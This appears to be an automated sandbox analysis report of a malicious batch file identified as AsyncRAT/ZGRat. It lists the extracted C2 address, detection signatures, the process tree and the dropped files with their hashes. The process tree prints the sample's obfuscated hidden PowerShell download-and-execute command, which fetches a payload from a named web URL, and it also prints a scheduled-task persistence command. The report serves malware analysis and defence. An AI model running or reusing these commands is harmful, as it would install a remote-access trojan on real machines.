Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240419-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
  • submitted
    01/05/2024, 01:58

General

  • Target
    a.bat
  • Size 13KB
  • Sample240501-cd5ayadd8y
  • SHA256 77bfe9eb66b6c9196e5a54967956cbb4b5ce6d2dbc30a7517a8478c738e281c6
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • asyncrat

Version
  • | Edit 3LOSH RAT

Botnet
  • [[[[[[[___bat___]]]]]]]

C2
  • helpher.linkpc.net:6666

Mutex
  • AsyncMutex_6SI8OkPnk

Attributes
  • delay

    3

  • install

    false

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Detect ZGRat V1 1 IoCs
  • ZGRat

    ZGRat is remote access trojan written in C#.

  • Detects executables packed with ConfuserEx Mod 1 IoCs
  • Detects file containing reversed ASEP Autorun registry keys 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Kills process with taskkill 1 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 26 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\a.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4784
    • C:\Windows\system32\cmd.exe
      CMD.EXE /C POWERSHELL.EXE -NOP -WIND HIDDEN -EXEC BYPASS -NONI [BYTE[]];$XCZM='IEX(NEW-OBJECT NET.W';$SYWD='EBCLIENT).DOWNLO';[BYTE[]];$VFDR='TUUL(''https://totalhorsehealth.com/wp-admin/images/images/im/im.png'')'.REPLACE('TUUL','ADSTRING');[BYTE[]];IEX($XCZM+$SYWD+$VFDR)
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4980
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        POWERSHELL.EXE -NOP -WIND HIDDEN -EXEC BYPASS -NONI [BYTE[]];$XCZM='IEX(NEW-OBJECT NET.W';$SYWD='EBCLIENT).DOWNLO';[BYTE[]];$VFDR='TUUL(''https://totalhorsehealth.com/wp-admin/images/images/im/im.png'')'.REPLACE('TUUL','ADSTRING');[BYTE[]];IEX($XCZM+$SYWD+$VFDR)
        3⤵
        • Blocklisted process makes network request
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2308
        • C:\Windows\System32\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\ProgramData\Express\xx.vbs"
          4⤵
          • Checks computer location settings
          • Suspicious use of WriteProcessMemory
          PID:4884
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\ProgramData\Express\xx.bat
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:964
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c ""C:\ProgramData\Express\xx.bat""
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:1444
              • C:\Windows\system32\schtasks.exe
                schtasks.exe /create /tn Express /sc minute /mo 3 /tr "C:\ProgramData\Express\Cotrl.vbs"
                7⤵
                • Creates scheduled task(s)
                PID:2660
  • C:\Windows\System32\WScript.exe
    C:\Windows\System32\WScript.exe "C:\ProgramData\Express\Cotrl.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:5004
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\ProgramData\Express\Cotrl.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4696
      • C:\Windows\system32\taskkill.exe
        taskkill /F /IM powershell.exe /T
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2408
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        PowerShell -NoProfile -ExecutionPolicy Bypass -Command C:\ProgramData\Express\Cotrl.ps1
        3⤵
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1568
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
          4⤵
            PID:2704

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          Cotrl.bat

          • Path C:\ProgramData\Express\Cotrl.bat
          • Size 124B
          • SHA256 7fde551b333bcbccf885caae202e63d2776f9bb8f7cb3c51f26967b75def4190
          • MD5 SHA1 SHA512

          Cotrl.ps1

          • Path C:\ProgramData\Express\Cotrl.ps1
          • Size 265KB
          • SHA256 df1c75ce8e7f68d84e0dd5a73201686599f18dde7bbc48d32d294f0227b511ee
          • MD5 SHA1 SHA512 SSDEEP

          Cotrl.vbs

          • Path C:\ProgramData\Express\Cotrl.vbs
          • Size 631B
          • SHA256 8f3be534f02376c50d96f22f38eb10b449ad8b885159dbe8fb49e6cfd0aba523
          • MD5 SHA1 SHA512

          xx.bat

          • Path C:\ProgramData\Express\xx.bat
          • Size 95B
          • SHA256 5ad35cc29456c109608243d046951e541ee44aef379eea3a5304e6a17a1b806f
          • MD5 SHA1 SHA512

          xx.vbs

          • Path C:\ProgramData\Express\xx.vbs
          • Size 775B
          • SHA256 e262ddea8db55b52c2aee29444ef27b28f6a0f0da3e4c79ae823e8ad67ef1749
          • MD5 SHA1 SHA512

          powershell.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
          • Size 3KB
          • SHA256 88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8
          • MD5 SHA1 SHA512

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 ce7532548c92e3d3da457e2e8fa83ad4077a52af322c2b8635ca19cbbdc38269
          • MD5 SHA1 SHA512

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 64B
          • SHA256 974a01642047984dcc7429b685decc35b22bfb88926f25174f77721f4afaf676
          • MD5 SHA1 SHA512

          __PSScriptPolicyTest_geepmmej.sgo.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_geepmmej.sgo.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          memory/1568-51-0x000001BFC0650000-0x000001BFC066A000-memory.dmp

          memory/2308-23-0x00007FFFAA950000-0x00007FFFAB411000-memory.dmp

          memory/2308-10-0x00007FFFAA950000-0x00007FFFAB411000-memory.dmp

          memory/2308-11-0x00000231E8310000-0x00000231E8320000-memory.dmp

          memory/2308-12-0x00000231E8310000-0x00000231E8320000-memory.dmp

          memory/2308-0-0x00000231E8ED0000-0x00000231E8EF2000-memory.dmp

          memory/2704-52-0x0000000000400000-0x0000000000414000-memory.dmp